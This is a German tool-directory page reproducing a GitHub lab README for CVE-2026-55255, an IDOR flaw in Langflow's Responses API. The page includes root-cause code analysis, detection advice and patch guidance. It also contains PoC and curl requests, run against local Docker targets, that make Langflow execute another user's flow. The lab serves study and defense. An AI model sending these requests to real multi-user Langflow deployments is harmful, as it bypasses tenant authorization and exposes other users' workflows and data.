Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-55255-Lab — Lokales Docker-Labor zur Reproduktion von CVE-2026-55255, einer IDOR-Schwachstelle in Langflows Responses API. Validiert die Ausführung von Cross-User-Flows in verwundbaren und gepatchten Versionen anhand eines requestbasierten PoC. | Kitploit
Tools/GitHubGitHub/rootdirective-sec/cve-2026-55255-lab
SchwachstellenanalyseWebanwendungs-ExploitationAPI-SicherheitstestsPenetrationstestsLernen & BildungLabs & Praxis
GitHubrootdirective-sec/cve-2026-55255-lab

CVE-2026-55255-Lab

Lokales Docker-Labor zur Reproduktion von CVE-2026-55255, einer IDOR-Schwachstelle in Langflows Responses API. Validiert die Ausführung von Cross-User-Flows in verwundbaren und gepatchten Versionen anhand eines requestbasierten PoC.

Repository anzeigen
2vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-55255 - Langflow IDOR in /api/v1/responses

Zusammenfassung

Dieses Repository enthält ein lokales Docker-Labor zur Reproduktion und Validierung von CVE-2026-55255, einer Schwachstelle durch unsichere direkte Objektreferenz (IDOR), die die OpenAI-kompatible Responses-API von Langflow betrifft.

Langflow ist eine Open-Source-Plattform zum Erstellen und Bereitstellen von KI-gestützten Agenten und Workflows. Das angreifbare Verhalten betrifft den Endpunkt /api/v1/responses, bei dem ein authentifizierter Angreifer die Flow-UUID eines anderen Benutzers als model-Wert angeben kann und Langflow dazu bringt, diesen fremden Flow auszuführen.

Dieses Labor vergleicht zwei Langflow-Versionen:

DienstLangflow-VersionZweckURL
vuln1.9.0Angreifbares Vergleichszielhttp://localhost:7860
patched1.9.1Gepatchtes Vergleichszielhttp://localhost:7861

Der demonstrierte HTTP-Validierungspfad in diesem lokalen Labor ist:```text Authenticated attacker API key → POST /api/v1/responses → request body sets model to victim-owned flow UUID → vulnerable target executes the victim-owned flow → patched target returns flow_not_found and does not execute the victim-owned flow

root@kitploit:~
Im anfälligen Ziel kann der dem Angreifer gehörende API-Schlüssel den dem Opfer gehörenden Flow ausführen, und die Antwort enthält den nur für das Opfer bestimmten Marker:```text
VICTIM_ONLY_CONTEXT_55255_VULN

Im gepatchten Ziel gibt dieselbe Cross-User-Anfrage den Opfer-Marker nicht zurück und gibt einen OpenAI-artigen Fehlertext zurück:```json {"error":{"message":"Flow with id '' not found","type":"invalid_request_error","code":"flow_not_found"}}

root@kitploit:~
Dieses Labor validiert das verwundbare versus gepatchte HTTP-Verhalten mit Langflow 1.9.0 und Langflow 1.9.1.

Das Labor ist absichtlich auf lokale Docker-Dienste beschränkt. Es zielt nicht auf externe Systeme ab und beinhaltet keinen Diebstahl von Anmeldeinformationen, Datenbank-Dumping, zerstörerische Payloads, externe Callbacks, Malware, Persistenz oder Post-Exploitation-Aktivitäten.

## Bestätigte Fakten

| Behauptung | Beweis | Wie man es in diesem Labor überprüft |
| ----- | -------- | ------------------------- |
| CVE-2026-55255 betrifft den `/api/v1/responses`-Endpunkt von Langflow. | Das GitHub Advisory GHSA-qrpv-q767-xqq2 beschreibt eine IDOR in `/api/v1/responses`. | Überprüfen Sie den Abschnitt 'References' und führen Sie den PoC gegen beide lokalen Ziele aus. |
| Das GitHub Advisory listet betroffene Versionen als `< 1.9.1` und gepatchte Version als `1.9.1`. | GitHub Advisory GHSA-qrpv-q767-xqq2. | Vergleichen Sie die verwundbaren und gepatchten Zielversionen in `docker-compose.yml`. |
| Einige nachgelagerte Schwachstellenquellen sind sich über die genaue behobene Version uneinig. | GitHub/GitLab führen `1.9.1` als behoben auf; einige nachgelagerte Intelligence-Seiten erwähnen `1.9.2` oder enthalten gemischte Formulierungen. | Überprüfen Sie den Abschnitt 'References' und verlassen Sie sich auf die Laborvalidierung für das getestete 1.9.1-Verhalten. |
| Dieses Labor verwendet Langflow 1.9.0 als verwundbares Vergleichsziel. | Der `vuln`-Dienst verwendet `langflowai/langflow:1.9.0`. | Überprüfen Sie `docker-compose.yml` und führen Sie `docker compose ps` aus. |
| Dieses Labor verwendet Langflow 1.9.1 als gepatchtes Vergleichsziel. | Der `patched`-Dienst verwendet `langflowai/langflow:1.9.1`. | Überprüfen Sie `docker-compose.yml` und führen Sie `docker compose ps` aus. |
| Die Responses API von Langflow verwendet `POST /api/v1/responses`. | Die Langflow-Dokumentation beschreibt den OpenAI-kompatiblen Responses API-Endpunkt. | Führen Sie den PoC oder eine manuelle curl-Anfrage gegen `/api/v1/responses` aus. |
| Die Responses API von Langflow akzeptiert eine Flow-ID als `model`-Wert. | Die Langflow-Dokumentation gibt an, dass der `model`-Wert durch eine `flow_id` ersetzt wird. | Überprüfen Sie den PoC-Anfragetext. |
| Langflow-API-Anfragen erfordern einen API-Key über `x-api-key`. | Die Langflow-API-Dokumentation beschreibt die API-Key-Authentifizierung mit dem `x-api-key`-Header. | Überprüfen Sie die PoC-Anfrageheader. |
| Der PoC ist anfragebasiert. | `poc/validate_idor.py` sendet HTTP-Anfragen und ruft keine Docker-, Docker-Compose-, Shell-Befehle oder Container-APIs auf. | Überprüfen Sie `poc/validate_idor.py`. |
| Das verwundbare Ziel führt einen vom Opfer stammenden Flow mit einem vom Angreifer stammenden API-Key aus. | Die verwundbare Antwort gibt `VICTIM_ONLY_CONTEXT_55255_VULN` zurück. | Führen Sie den verwundbaren PoC-Befehl mit der Flow-ID des Opfers und dem API-Key des Angreifers aus. |
| Das gepatchte Ziel blockiert denselben Cross-User-Ausführungspfad. | Die gepatchte Antwort gibt `error.code = flow_not_found` zurück und gibt den Opfer-Marker nicht zurück. | Führen Sie den gepatchten PoC-Befehl mit der Flow-ID des Opfers und dem API-Key des Angreifers aus. |

## Annahmen und Unbekanntes

Dieses Labor verwendet Langflow 1.9.0 als verwundbares Vergleichsziel, da das GitHub Advisory GHSA-qrpv-q767-xqq2 Versionen vor 1.9.1 als betroffen identifiziert und lokale Tests das verwundbare Verhalten in 1.9.0 bestätigt haben.

Dieses Labor verwendet Langflow 1.9.1 als gepatchtes Vergleichsziel, da das GitHub Advisory GHSA-qrpv-q767-xqq2 1.9.1 als gepatchte Version aufführt und lokale Tests bestätigt haben, dass 1.9.1 den getesteten Cross-User `/api/v1/responses`-Ausführungspfad mit `flow_not_found` blockiert.

Es gibt eine Versionsdiskrepanz zwischen den Quellen. GitHub- und GitLab-Advisories listen Versionen vor 1.9.1 als betroffen und 1.9.1 als behoben. Einige nachgelagerte Schwachstellen-Intelligence-Seiten erwähnen 1.9.2 oder enthalten gemischte Formulierungen bezüglich der behobenen Version. Dieses Repository dokumentiert diese Diskrepanz und validiert das getestete Verhalten direkt:```text
Langflow 1.9.0
→ attacker API key + victim flow UUID
→ victim marker returned
→ vulnerable behavior observed

Langflow 1.9.1
→ attacker API key + victim flow UUID
→ flow_not_found
→ victim marker not returned
→ blocked behavior observed

Dieses Labor geht davon aus, dass der Angreifer bereits eine Opfer-Flow-UUID kennt. Der PoC führt keine Brute-Force-Angriffe auf Flow-IDs durch, keine Enumeration von Flows und versucht nicht, Opfer-Flow-IDs zu entdecken.

Dieses Labor konzentriert sich auf das beobachtbare HTTP-Verhalten von:```text POST /api/v1/responses

root@kitploit:~
mit dieser Anfrageform:```json
{
  "model": "<victim-flow-id>",
  "input": "cross-user CVE-2026-55255 validation request",
  "stream": false
}

Das Labor demonstriert die nicht autorisierte Ausführung von Cross-User-Flows im anfälligen Ziel und das blockierte Verhalten im gepatchten Ziel.

Das Labor demonstriert nicht:

  • brute-forcing flow UUIDs,
  • flow ID enumeration,
  • credential theft,
  • database dumping,
  • use of real LLM provider API keys,
  • access to real production data,
  • external callbacks,
  • remote command execution,
  • malware,
  • persistence,
  • or attacks against non-lab systems.

Zusammenfassung der Grundursache

Die Grundursache von CVE-2026-55255 ist eine Autorisierungslücke in der Flow-Auflösungslogik von Langflow.

Der Endpunkt /api/v1/responses akzeptiert eine Flow-UUID über das Feld model. In anfälligen Versionen konnte der UUID-Suchpfad innerhalb von get_flow_by_id_or_endpoint_name() ein Flow-Objekt direkt über den Primärschlüssel laden, ohne durchzusetzen, dass die aufgelöste Flow.user_id mit dem authentifizierten API-Key-Benutzer übereinstimmte.

Das anfällige Verhalten kann wie folgt zusammengefasst werden:

root@kitploit:~
Attacker owns API key
→ attacker sends POST /api/v1/responses
→ model contains victim-owned flow UUID
→ flow resolver loads Flow by UUID
→ resolver does not enforce Flow.user_id == attacker_user.id
→ response endpoint executes the victim-owned flow
→ attacker receives victim flow output
```
Das gepatchte Verhalten kann wie folgt zusammengefasst werden:```text
Attacker owns API key
→ attacker sends POST /api/v1/responses
→ model contains victim-owned flow UUID
→ flow resolver loads candidate Flow
→ resolver compares Flow.user_id with authenticated API-key user id
→ cross-user lookup is treated as not found
→ response endpoint returns flow_not_found
→ victim-owned flow is not executed
```
Das Sicherheitsproblem besteht nicht darin, dass der Angreifer `/api/v1/responses` mit seinen eigenen Flows aufrufen kann. Das ist erwartetes Verhalten. Das Problem ist, dass ein authentifizierter Benutzer mit niedrigen Berechtigungen den Endpunkt dazu bringen kann, einen Flow auszuführen, der einem anderen Benutzer gehört, wenn die UUID des Opfer-Flows angegeben wird. Die Sicherheitslektion lautet:```text
Object lookup by UUID is not authorization.
Every object lookup used by an authenticated API route must be scoped to the authenticated principal or followed by a strict ownership check before the object is used.
```
## Quellcode-Analyse

Das Problem auf Quellcode-Ebene wurde durch den Vergleich von Langflow `v1.9.0` und `v1.9.1` bestätigt.

Die zur Überprüfung verwendeten Quell-Tags waren:

| Version | Git-Commit |
| ------- | ---------- |
| v1.9.0  | `a47f2ad17eb662e940c550cfccb64a87dddd7e0b` |
| v1.9.1  | `dc26d19c1ed5b2779a3a759f78a747f47089c534` |

Der relevante Helfer ist:```python
async def get_flow_by_id_or_endpoint_name(flow_id_or_name: str, user_id: str | UUID | None = None) -> FlowRead:
```
Im verwundbaren UUID-Zweig wurde der Ablauf per ID geladen:```python
flow_id = UUID(flow_id_or_name)
flow = await session.get(Flow, flow_id)
```
Die sicherheitsrelevante fehlende Prüfung war:```python
flow.user_id == authenticated_user.id
```
Ohne diese Besitzerüberprüfung reichte eine gültige Flow-UUID aus, um ein `Flow`-Objekt aufzulösen, selbst wenn es einem anderen Benutzer gehörte.

Die gepatchte Version fügt eine Normalisierung von `user_id` hinzu und erzwingt eine Besitzerabgrenzung auf dem UUID-Pfad.```python
if flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id:
    flow = None
```
Das wichtige Verhalten ist:```text
if the flow exists
and the flow belongs to another user
then treat it as not found
```
Deshalb gibt die gepatchte Laborantwort zurück:```json
{"error":{"code":"flow_not_found"}}
```
anstatt den dem Opfer gehörenden Flow auszuführen.

In dieser Übungsumgebung besteht das primäre angreifbare Verhalten darin, dass der Ausführungspfad `/api/v1/responses` `get_flow_by_id_or_endpoint_name()` erreicht und eine UUID eines dem Opfer gehörenden Flows auflöst, ohne die Eigentümerschaft durchzusetzen.

Der Patch härtet auch verwandte Flow-Ausführungsrouten. In `endpoints.py` wurden Routen, die zuvor den rohen Helfer als FastAPI-Abhängigkeit verwendeten, geändert von:```python
flow: Annotated[FlowRead, Depends(get_flow_by_id_or_endpoint_name)]
```
zu authentifizierten Wrappern wie:```python
async def get_flow_for_api_key_user(
    flow_id_or_name: str,
    api_key_user: Annotated[UserRead, Depends(api_key_security)],
) -> FlowRead:
    return await get_flow_by_id_or_endpoint_name(flow_id_or_name, api_key_user.id)
```
Diese Wrapper-Änderungen sind eine verwandte Härtung für andere Flow-Ausführungsrouten wie `/api/v1/run*`. Sie stellen sicher, dass der Helper die authentifizierte Benutzer-ID erhält, anstatt sich auf einen einfachen Request-Parameter zu verlassen. Der Kernfix, der in diesem Labor demonstriert wird, bleibt die resolverseitige Besitzprüfung innerhalb von `get_flow_by_id_or_endpoint_name()`.

Der Fix auf Quellcodeebene besteht daher aus zwei zusammenhängenden Teilen:```text
Core resolver fix:
  enforce owner scoping before returning a Flow object

Related route dependency hardening:
  pass the authenticated API-key or session user's ID into the resolver
```
## Zusammenfassung des Quell-Patches

Langflow 1.9.1 härtet den angreifbaren Flow-Auflösungspfad, indem es Cross-User-Lookups als nicht gefunden behandelt und sicherstellt, dass zugehörige Flow-Ausführungsrouten den authentifizierten Nutzerkontext an den Resolver übergeben.

Die Kernlogik des Patches ist:```python
if flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id:
    flow = None
```
Der Patch fügt außerdem authentifizierte Wrapper-Abhängigkeiten für Routen hinzu, die Flüsse auflösen müssen:```python
async def get_flow_for_api_key_user(...):
    return await get_flow_by_id_or_endpoint_name(flow_id_or_name, api_key_user.id)

async def get_flow_for_current_user(...):
    return await get_flow_by_id_or_endpoint_name(flow_id_or_name, current_user.id)
```
Die sicherheitsrelevante Änderung ist:```text
Before:
  flow UUID
  → session.get(Flow, flow_id)
  → Flow object returned without owner scoping
  → downstream execution path can run victim-owned flow

After:
  flow UUID
  → session.get(Flow, flow_id)
  → compare Flow.user_id with authenticated user id
  → cross-user result becomes None
  → shared not-found behavior fires
  → victim-owned flow is not executed
```
Der Patch reduziert auch die Offenlegung von Informationen. Der Zugriff auf andere Benutzer wird als 'nicht gefunden' behandelt, anstatt eine eindeutige Autorisierungsantwort zurückzugeben, die verraten könnte, ob ein anderer Benutzerfluss existiert.

Dieses Labor hält Quellcode-Überprüfung und Laufzeitvalidierung getrennt:```text
Source patch review:
  explains why the vulnerable resolver could return a victim-owned flow.

Runtime validation:
  proves the vulnerable target executes the victim-owned flow and the patched target does not.
```
## Lab-Architektur

Das Lab führt zwei isolierte Langflow-Instanzen über Docker Compose aus.```text
.
├── docker-compose.yml
├── poc/
│   └── validate_idor.py
├── seed/
│   ├── Dockerfile
│   └── seed.py
├── src/
│   ├── langflow-1.9.0/
│   └── langflow-1.9.1/
├── state/
│   ├── patched.json
│   ├── patched.ready
│   ├── vuln.json
│   └── vuln.ready
└── README.md
```
Die `state/`-Dateien werden während des Lab-Starts von den Seed-Diensten generiert. Das `src/`-Verzeichnis enthält die ausgecheckten Langflow-Quellbäume, die für die Quell-Diff-Überprüfung verwendet werden.

Die beiden Langflow-Dienste verwenden separate Anwendungsversionen und separate SQLite-Datenbanken innerhalb der Container:

| Service      | Component | Version / Role                         |
| ------------ | --------- | -------------------------------------- |
| vuln         | Langflow  | anfällige Zielanwendung                |
| patched      | Langflow  | gepatchte Vergleichsanwendung          |
| seed-vuln    | Python    | erstellt lokale Benutzer, API-Schlüssel, Flows |
| seed-patched | Python    | erstellt lokale Benutzer, API-Schlüssel, Flows |

Standardmäßig verfügbare Dienste:```text
Vulnerable target: http://localhost:7860
Patched target:    http://localhost:7861
```
| Target                | Langflow version | Erwartetes Verhalten |
| --------------------- | ----------------: | ----------------- |
| http://localhost:7860 |               1.9.0 | Angreifer-API-Key kann einen dem Opfer gehörenden Flow ausführen |
| http://localhost:7861 |               1.9.1 | Flow-Ausführung des Opfers über Benutzergrenzen hinweg ist blockiert |

Die Seed-Dienste werden automatisch ausgeführt während:```bash
docker compose up --build --wait
```
Sie erstellen:```text
victim user
attacker user
attacker API key
victim flow
attacker flow
state/vuln.json
state/patched.json
state/vuln.ready
state/patched.ready
```
Die von Seed generierten `state/*.json`-Dateien bieten einmalige lokale Testwerte wie API-Schlüssel und Flow-UUIDs.

Der PoC liest `state/*.json` nicht. Der Benutzer gibt die Ziel-URL, den API-Schlüssel, die Flow-ID und optional den erwarteten Marker über Befehlszeilenargumente an.

Das Labor erstellt oder ändert die anfällige `/api/v1/responses`-Route nicht. Diese Route wird von Langflow bereitgestellt.

## Voraussetzungen

* Docker Desktop oder Docker Engine
* Docker Compose v2 mit `--wait`-Unterstützung
* Python 3
* `jq` für die Komfortbefehle in dieser README
* Internetzugang beim ersten Pull des Docker-Images

Für den PoC ist kein Python-Paket von Drittanbietern erforderlich. Der PoC verwendet nur Module aus der Python-Standardbibliothek.

Der Seed-Container installiert das Python-Paket `requests` intern. Dieses Paket wird nur von den Seed-Diensten während der Laboreinrichtung verwendet, nicht vom PoC.

## Schnellstart

Starten Sie das Labor aus einem sauberen Zustand:```bash
docker compose down -v --remove-orphans
find state -type f \( -name "*.json" -o -name "*.ready" \) -delete
docker compose up --build --wait
```
Dienststatus überprüfen:```bash
docker compose ps
```
Erwartete gesunde Dienste:```text
cve-2026-55255-vuln
cve-2026-55255-patched
cve-2026-55255-seed-vuln
cve-2026-55255-seed-patched
```
Erwartete exponierte Ziele:```text
http://localhost:7860
http://localhost:7861
```
Überprüfen Sie die Seed-Status-Dateien:```bash
ls -la state
cat state/vuln.json | jq .
cat state/patched.json | jq .
```
Erwartete Dateien:```text
state/vuln.json
state/vuln.ready
state/patched.json
state/patched.ready
```
Führen Sie eine request-basierte Validierung gegen das verwundbare Ziel durch:```bash
python3 poc/validate_idor.py \
  --url "$(jq -r '.public_url' state/vuln.json)" \
  --api-key "$(jq -r '.attacker.api_key' state/vuln.json)" \
  --flow-id "$(jq -r '.victim_flow.id' state/vuln.json)" \
  --expect-marker "$(jq -r '.victim_flow.marker' state/vuln.json)"
```
Führen Sie eine anforderungsbasierte Validierung gegen das gepatchte Ziel durch:```bash
python3 poc/validate_idor.py \
  --url "$(jq -r '.public_url' state/patched.json)" \
  --api-key "$(jq -r '.attacker.api_key' state/patched.json)" \
  --flow-id "$(jq -r '.victim_flow.id' state/patched.json)" \
  --expect-marker "$(jq -r '.victim_flow.marker' state/patched.json)"
```
## PoC Usage

Die PoC akzeptiert eine Ziel-URL, einen API-Schlüssel, eine Flow-ID und einen optionalen erwarteten Marker:```bash
python3 poc/validate_idor.py \
  --url <target_url> \
  --api-key <api_key> \
  --flow-id <target_flow_id> \
  --expect-marker <expected_output_marker>
```
Erforderliche Optionen:

| Option | Bedeutung |
| ------ | ------- |
| `--url` | Basis-URL von Langflow |
| `--api-key` | API-Schlüssel, der im `x-api-key`-Header verwendet wird |
| `--flow-id` | Flow-UUID, die als `model`-Wert verwendet wird |

Optionale Optionen:

| Option | Bedeutung |
| ------ | ------- |
| `--expect-marker` | Erwarteter Marker in der Antwort, falls der Ziel-Flow ausgeführt wird |

Der PoC sendet diese HTTP-Anfrage:```text
POST /api/v1/responses
x-api-key: <redacted>
Content-Type: application/json
```
Anfragekörper:```json
{
  "model": "<target-flow-id>",
  "input": "cross-user CVE-2026-55255 validation request",
  "stream": false
}
```
Der PoC ist request-basiert. Er ruft keine Docker-, Docker-Compose-, Shell-Befehle, WP-CLI, Container-APIs oder Langflow-Seed-APIs auf.

In diesem Labor kann `state/*.json` verwendet werden, um die Einweg-Lokalschlüssel und Flow-IDs in den PoC-Befehl zu kopieren. Der PoC selbst ist nicht von diesen Dateien abhängig. Die API-Schlüssel in `state/*.json` sind Einweg-Labor-Schlüssel; verwenden Sie keine echten Produktions-API-Schlüssel in diesen Befehlen.

## Erwartete Ergebnisse

### Verwundbares Ziel

Befehl:```bash
python3 poc/validate_idor.py \
  --url "$(jq -r '.public_url' state/vuln.json)" \
  --api-key "$(jq -r '.attacker.api_key' state/vuln.json)" \
  --flow-id "$(jq -r '.victim_flow.id' state/vuln.json)" \
  --expect-marker "$(jq -r '.victim_flow.marker' state/vuln.json)"
```
Erwartetes anfälliges Zielsignal:```text
========================================================================================
[CVE-2026-55255 REQUEST-BASED VALIDATION]
[TARGET] http://localhost:7860
[FLOW_ID] <victim-flow-id>
[API_KEY] <redacted>

[REQUEST]
POST http://localhost:7860/api/v1/responses
x-api-key: <redacted>
Content-Type: application/json
{
  "model": "<victim-flow-id>",
  "input": "cross-user CVE-2026-55255 validation request",
  "stream": false
}

[RESPONSE]
HTTP 200
flow execution observed : True
expected marker         : VICTIM_ONLY_CONTEXT_55255_VULN
marker found            : True

[BODY]
... "text":"VICTIM_ONLY_CONTEXT_55255_VULN\n\nowner=victim-user\n\ntenant=cve-2026-55255-lab" ...

========================================================================================
[CLASSIFICATION] VULNERABLE_BEHAVIOR - expected marker was returned.
FINAL: VULNERABLE_BEHAVIOR_OBSERVED
```
Das wichtige anfällige Signal ist:```text
attacker API key
+ victim flow UUID
+ HTTP 200 completed response
+ victim-only marker returned
```
### Gepatchtes Ziel

Befehl:```bash
python3 poc/validate_idor.py \
  --url "$(jq -r '.public_url' state/patched.json)" \
  --api-key "$(jq -r '.attacker.api_key' state/patched.json)" \
  --flow-id "$(jq -r '.victim_flow.id' state/patched.json)" \
  --expect-marker "$(jq -r '.victim_flow.marker' state/patched.json)"
```
Erwartetes gepatchtes Zielsignal:```text
========================================================================================
[CVE-2026-55255 REQUEST-BASED VALIDATION]
[TARGET] http://localhost:7861
[FLOW_ID] <victim-flow-id>
[API_KEY] <redacted>

[REQUEST]
POST http://localhost:7861/api/v1/responses
x-api-key: <redacted>
Content-Type: application/json
{
  "model": "<victim-flow-id>",
  "input": "cross-user CVE-2026-55255 validation request",
  "stream": false
}

[RESPONSE]
HTTP 200
flow execution observed : False
expected marker         : VICTIM_ONLY_CONTEXT_55255_PATCHED
marker found            : False
error code              : flow_not_found

[BODY]
{"error":{"message":"Flow with id '<victim-flow-id>' not found","type":"invalid_request_error","code":"flow_not_found"}}

========================================================================================
[CLASSIFICATION] BLOCKED - target returned flow_not_found.
FINAL: BLOCKED_BEHAVIOR_OBSERVED
```
Das wichtige gepatchte Signal ist:```text
attacker API key
+ victim flow UUID
+ no victim marker
+ error.code = flow_not_found
```
### Ausführung beobachtet ohne Marker

Wenn `--expect-marker` ausgelassen wird und das Ziel eine abgeschlossene Langflow-Antwort zurückgibt, meldet der PoC:```text
[CLASSIFICATION] FLOW_EXECUTION_OBSERVED - target returned a completed flow response.
[NOTE] Ownership of the supplied flow ID must be confirmed separately.
FINAL: FLOW_EXECUTION_OBSERVED
```
Das bedeutet, dass der Ziel-Flow ausgeführt wurde, aber der PoC kann nicht selbst beweisen, dass die bereitgestellte Flow-ID einem anderen Benutzer gehört. Das Eigentum muss durch Labor-Saatdaten, die Quelle der Flow-ID oder andere autorisierte Nachweise bestätigt werden.

## Wie die Validierung funktioniert

Der Validator sendet eine HTTP-POST-Anfrage an den Langflow Responses API-Endpunkt:```text
/api/v1/responses
```
Die Anfrage verwendet den bereitgestellten API-Schlüssel:```text
x-api-key: <attacker-api-key>
```
Der Anforderungstext verwendet die bereitgestellte flow UUID als `model`-Wert:```json
{
  "model": "<target-flow-id>",
  "input": "cross-user CVE-2026-55255 validation request",
  "stream": false
}
```
Erwartetes anfälliges Verhalten:```text
HTTP 200
response object status is completed
error is null
output contains victim-owned flow marker
```
Erwartetes gepatchtes Verhalten:```text
request does not execute victim-owned flow
response does not contain victim marker
response indicates flow_not_found
```
In diesem Lab gibt Langflow 1.9.1 `HTTP 200` mit einem OpenAI-ähnlichen JSON-Fehlerobjekt zurück:```json
{"error":{"code":"flow_not_found"}}
```
Deshalb prüft der PoC den JSON-Fehlercode, anstatt anzunehmen, dass der HTTP-Transportstatus 404 sein muss.

Der PoC validiert absichtlich nur die Ausführungsbedingung des Cross-User-Flows. Es wird nicht versucht, Flow-IDs zu entdecken, UUIDs zu erraten, Benutzer aufzulisten, Geheimnisse zu extrahieren oder externe Dienste auszulösen.

## Manuelle HTTP-Reproduktion mit curl

Der Lab-Seed schreibt einmalige lokale Werte in `state/*.json`. Diese Befehle verwenden diese lokalen Werte, um curl-Anfragen zu erstellen. Die State-Dateien sind reine Lab-Artefakte.

Verwundbarer Test:```bash
curl -i -sS -X POST \
  "$(jq -r '.public_url' state/vuln.json)/api/v1/responses" \
  -H "Content-Type: application/json" \
  -H "x-api-key: $(jq -r '.attacker.api_key' state/vuln.json)" \
  --data "{
    \"model\": \"$(jq -r '.victim_flow.id' state/vuln.json)\",
    \"input\": \"cross-user CVE-2026-55255 validation request\",
    \"stream\": false
  }"
```
Erwartetes anfälliges Ergebnis:```text
HTTP/1.1 200 OK
...
"status":"completed"
"error":null
"VICTIM_ONLY_CONTEXT_55255_VULN"
```
Gepatchte Sonde:```bash
curl -i -sS -X POST \
  "$(jq -r '.public_url' state/patched.json)/api/v1/responses" \
  -H "Content-Type: application/json" \
  -H "x-api-key: $(jq -r '.attacker.api_key' state/patched.json)" \
  --data "{
    \"model\": \"$(jq -r '.victim_flow.id' state/patched.json)\",
    \"input\": \"cross-user CVE-2026-55255 validation request\",
    \"stream\": false
  }"
```
Erwartetes gepatchtes Ergebnis:```text
HTTP/1.1 200 OK
...
{"error":{"code":"flow_not_found"}}
```
## Auswirkungen

CVE-2026-55255 ist in Langflow-Bereitstellungen mit mehreren Benutzern oder mehreren Mandanten sicherheitskritisch, da ein authentifizierter Benutzer möglicherweise den Flow eines anderen Benutzers ausführen kann, wenn die UUID des Opfer-Flows bekannt ist.

Die potenziellen realen Auswirkungen hängen davon ab, was der Flow des Opfers tut.

Mögliche Auswirkungen umfassen:

* unbefugte Ausführung des KI-Workflows eines anderen Benutzers,
* Offenlegung von Daten, die vom Opfer-Workflow verarbeitet werden,
* Zugriff auf den Prompt oder Workflow-Output des Opfers,
* Nutzung von Integrationen oder konfigurierten Komponenten des Opfers,
* Verbrauch von Rechen- oder API-Ressourcen des Opfers,
* Umgehung von bereichsübergreifenden Autorisierungsgrenzen zwischen Benutzern oder Mandanten,
* und Informationsoffenlegung durch Flow-Ausgabe.

Die praktische Ausnutzbarkeit hängt davon ab, ob der Angreifer eine gültige UUID des Opfer-Flows erlangen kann. Das Erraten von Flow-UUIDs steht nicht im Fokus dieses Laborversuchs, und der PoC führt kein Brute-Force auf Flow-IDs durch.

Dieses Labor demonstriert ausschließlich den ungefährlichen Autorisierungsgrenzenfehler:```text
attacker API key
+ victim flow UUID
+ victim-only marker returned
```
Das Lab demonstriert keinen echten Datenzugriff, keinen echten Geheimniszugriff, keinen Missbrauch von LLM-Anbieterschlüsseln, keine externen Callbacks und keine Post-Exploitation.

## Erkennung und Überwachung

Mögliche Indikatoren sind authentifizierte Anfragen an:```text
POST /api/v1/responses
```
Verdächtiges Anfragemuster:```text
x-api-key belongs to user A
model contains flow UUID owned by user B
```
Hochsignal-Erkennungsidee:```text
POST /api/v1/responses
AND request.model is a flow UUID
AND authenticated API-key user does not own that flow UUID
```
Mögliche Application-Layer-Logs oder Telemetrie zur Überprüfung:

* API-Schlüsselbesitzer,
* Anfragepfad,
* `model`-Wert,
* aufgelöste Flow-ID,
* aufgelöster Flow-Besitzer,
* Antwortfehlercode,
* `flow_not_found`-Antworten,
* erfolgreich abgeschlossene Antworten von `/api/v1/responses`,
* ungewöhnliche Cross-User-Flow-Ausführungsversuche,
* wiederholte Versuche gegen viele Flow-UUIDs,
* und ungewöhnlich hohe API-Nutzung durch einen Benutzer mit niedrigen Berechtigungen.

Beispiel eines anfälligen Validierungsartefakts:```text
Request:
  POST /api/v1/responses
  x-api-key: attacker user's API key
  model: victim user's flow UUID

Response:
  status: completed
  error: null
  output contains victim-only marker
```
Beispiel für gepatchtes Validierungsartefakt:```text
Request:
  POST /api/v1/responses
  x-api-key: attacker user's API key
  model: victim user's flow UUID

Response:
  error.code: flow_not_found
  victim marker not returned
```
Empfohlene Überwachungsmaßnahmen:

* API-Logs auf `/api/v1/responses` prüfen.
* API-Key-Besitzer mit dem angeforderten Flow-Besitzer korrelieren.
* Alarmieren bei Nutzung von Flow-UUIDs über Benutzergrenzen hinweg.
* `flow_not_found`-Bursts gegen die Responses API überprüfen.
* Ungewöhnlich hohe API-Nutzung durch neu erstellte oder niedrig privilegierte Benutzer überprüfen.
* Öffentliche oder geteilte Kanäle überprüfen, in denen Flow-UUIDs möglicherweise offengelegt wurden.
* Betroffene API-Keys rotieren, falls Missbrauch vermutet wird.
* Flows des betroffenen Benutzers auf sensible Konnektoren, Tools oder Datenquellen überprüfen.

## Abhilfe und Patch-Hinweise

Aktualisieren Sie Langflow auf eine behobene Version.

Das GitHub Advisory GHSA-qrpv-q767-xqq2 listet Langflow 1.9.1 als gepatcht für CVE-2026-55255. Einige nachgelagerte Schwachstellen-Intelligenzquellen erwähnen 1.9.2 oder enthalten gemischte Formulierungen bezüglich der behobenen Version. Dieses Labor validiert, dass Langflow 1.9.1 den getesteten `/api/v1/responses`-Ausführungspfad über Benutzergrenzen hinweg mit `flow_not_found` blockiert. Aktualisieren Sie in Produktionsumgebungen auf die neueste verfügbare Langflow-Version, anstatt bei der im Labor verglichenen Version stehenzubleiben.

Empfohlene Abhilfemaßnahmen:

* Aktualisieren Sie Langflow auf eine behobene oder die neueste verfügbare Version.
* Bestätigen Sie, dass die installierte Version nicht im betroffenen Bereich liegt.
* Beschränken Sie die Langflow-Exposition nach Möglichkeit auf vertrauenswürdige Netzwerke.
* Erzwingen Sie Authentifizierung für API-Routen.
* Überprüfen und rotieren Sie API-Keys, falls Ausnutzung vermutet wird.
* Überprüfen Sie die Flow-Besitz- und Freigabekonfiguration.
* Überprüfen Sie Logs auf anfragen über Benutzergrenzen hinweg für `/api/v1/responses`.
* Vermeiden Sie es, Flow-UUIDs unnötig offenzulegen.
* Behandeln Sie Reverse-Proxy- oder WAF-Blöcke als temporäre Kontrollen, nicht als Ersatz für ein Upgrade.
* Testen Sie in Multi-Tenant-Umgebungen, ob API-Key-Benutzer keine Flows ausführen können, die ihnen nicht gehören.

